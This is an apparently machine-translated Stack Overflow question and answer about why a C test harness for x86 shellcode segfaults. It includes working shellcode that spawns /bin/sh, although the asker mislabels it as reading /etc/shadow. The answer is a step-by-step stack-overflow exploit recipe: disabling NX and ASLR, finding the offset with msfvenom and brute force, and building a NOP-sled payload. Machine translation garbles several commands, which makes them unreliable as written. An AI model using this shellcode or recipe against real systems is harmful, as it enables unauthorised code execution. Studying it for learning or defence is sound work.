Shellcode没有运行

时间:2015-10-17 09:42:49

标签: c segmentation-fault shellcode

我试图通过C程序运行很多shell代码来测试它们。这是

#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

这是shellcode的例子

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
          "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
          "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
          "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
          "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"

(\ bin \ cat \ etc \ shadow) 运行后

gcc sctest.c -o out ./out

它只是给我shellcode长度和分段错误 我已经尝试了很多不同的shellcode,但是所有东西都只给了我一个段落错误 我的dmesg |尾巴-1 [18440.783383]测试[8768]:段错误8049700 ip 08049700 sp bffff2ec错误15测试[8049000 + 1000] 我的shellcode出了什么问题?

1 个答案:

答案 0 :(得分:2)

在禁用NX-bit和randomize_va_space之类的东西之后我终于完成了它。

首先,您应该使用密钥-z execstack和-fno-stack-protector编译可执行文件。

之后禁用ASLR echo 0&gt;的/ proc / SYS /内核/ randomize_va_space。  现在你必须找到shellcode。你可以试试mspayload或msfvenom。 Shellcode是一个字典代码,它通常会为你提供shell。

在该步骤中,您应该找到堆栈溢出的偏移量。你可以尝试找到像

这样的行
sub hex-offset, %esp

或者您可以尝试使用简单的脚本来强制执行它,例如./your_binary&lt; python -c“print('A')* n”)其中n是你的偏移量

找到偏移量后(SEGFAULT发生,dmesg | tail -1表示%eip为0x41414141),您只需编写漏洞即可。它的结构看起来像那样

NOPs(no operation)*x+shellcode+return-address(4 bytes)*y

len(shellcode)+ x + 4y =您的偏移量  返回地址是堆栈中NOP所在位置的地址(输入前在gdb info r中看到的%esp的地址)

并且不要忘记,如果没有gdb,在gdb中工作的漏洞将无法工作,因为您需要从返回地址添加/减去36个字节。

最后,您已准备好利用

./your_binary < exploit.bin